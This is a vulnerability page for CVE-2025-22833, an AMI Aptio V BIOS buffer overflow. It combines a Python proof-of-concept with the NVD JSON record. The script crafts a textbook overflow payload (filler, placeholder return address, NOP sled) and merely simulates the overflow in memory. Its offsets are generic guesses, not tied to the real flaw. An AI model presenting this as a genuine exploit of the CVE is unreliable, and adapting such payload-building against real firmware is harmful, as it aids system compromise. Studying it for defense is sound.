CVE-2025-22833

# CVE-2025-22833 - AMI APTIOV BIOS Buffer Overflow PoC # This is a conceptual PoC demonstrating the buffer overflow vulnerability # in AMI APTIOV BIOS firmware (CWE-120: Buffer Copy without Checking Size of Input) # # Note: Actual exploitation requires local access and interaction with BIOS interfaces. # This PoC simulates the overflow mechanism at the application level for research purposes. import struct import sys # Target buffer size in the vulnerable BIOS function BUFFER_SIZE = 256 # Offset to overwrite the return address (typical stack layout) # In a real BIOS exploit, this would be the offset to the saved return address # or a function pointer in the SMM/UEFI environment RETURN_ADDRESS_OFFSET = 268 # Shellcode placeholder - in real exploit this would be Ring 0 payload # for BIOS environment (e.g., SMM code or UEFI runtime payload) SHELLCODE = b"\x90" * 32 # NOP sled placeholder SHELLCODE += b"\xCC" * 16 # INT3 breakpoints for debugging # Address to redirect execution (example: controlled memory region) # In BIOS context, this could point to attacker-controlled SMRAM or boot script REDIRECT_ADDRESS = 0xDEADBEEF def craft_malicious_input(): """Craft input that triggers the buffer overflow in BIOS function.""" payload = b"" # Fill the buffer with normal data payload += b"A" * BUFFER_SIZE # Overwrite saved EBP payload += b"B" * 4 # Overwrite return address with redirect address payload += struct.pack("<I", REDIRECT_ADDRESS) # Append shellcode after the return address overwrite payload += SHELLCODE return payload def trigger_vulnerability(input_data): """ Simulate the vulnerable BIOS function call. In real scenario, this would be a call to the BIOS UEFI/SMM interface. """ # Vulnerable buffer (simulating BIOS stack buffer) target_buffer = bytearray(BUFFER_SIZE) print(f"[*] Input data length: {len(input_data)} bytes") print(f"[*] Target buffer size: {BUFFER_SIZE} bytes") print(f"[*] Overflow size: {len(input_data) - BUFFER_SIZE} bytes") # This simulates the vulnerable memcpy without size check # In BIOS: call CopyMem(target_buffer, input_data, len(input_data)) if len(input_data) > BUFFER_SIZE: print("[!] BUFFER OVERFLOW DETECTED - Size check missing!") # Simulate the overflow for i, byte in enumerate(input_data): if i < len(target_buffer): target_buffer[i] = byte else: # Overflow writes beyond buffer boundary print(f"[+] Overwriting memory at offset {i}: 0x{byte:02x}") return target_buffer def main(): print("=" * 60) print("CVE-2025-22833 - AMI APTIOV BIOS Buffer Overflow PoC") print("CWE-120: Buffer Copy without Checking Size of Input") print("=" * 60) # Craft the malicious input payload = craft_malicious_input() # Trigger the vulnerability print("\n[*] Triggering vulnerability...") trigger_vulnerability(payload) print("\n[*] In a real attack scenario:") print(" 1. Attacker gains local access with low-privilege account") print(" 2. Interacts with BIOS UEFI/SMM interface") print(" 3. Sends crafted input to trigger buffer overflow") print(" 4. Achieves arbitrary code execution at Ring 0") print(" 5. Potentially installs persistent firmware-level malware") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-22833", "sourceIdentifier": "[email protected]", "published": "2025-10-14T14:15:49.523", "lastModified": "2025-10-22T13:44:31.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "APTIOV contains a vulnerability in BIOS where an attacker may cause a Buffer Copy without Checking Size of Input by local accessing. Successful exploitation of this vulnerability may lead to arbitrary code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ami:aptio_v:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.041", "matchCriteriaId": "55EB580E-FB5B-448A-AA20-41774E69D5DC"}]}]}], "references": [{"url": "https://go.ami.com/hubfs/Security%20Advisories/2025/AMI-SA-2025008.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}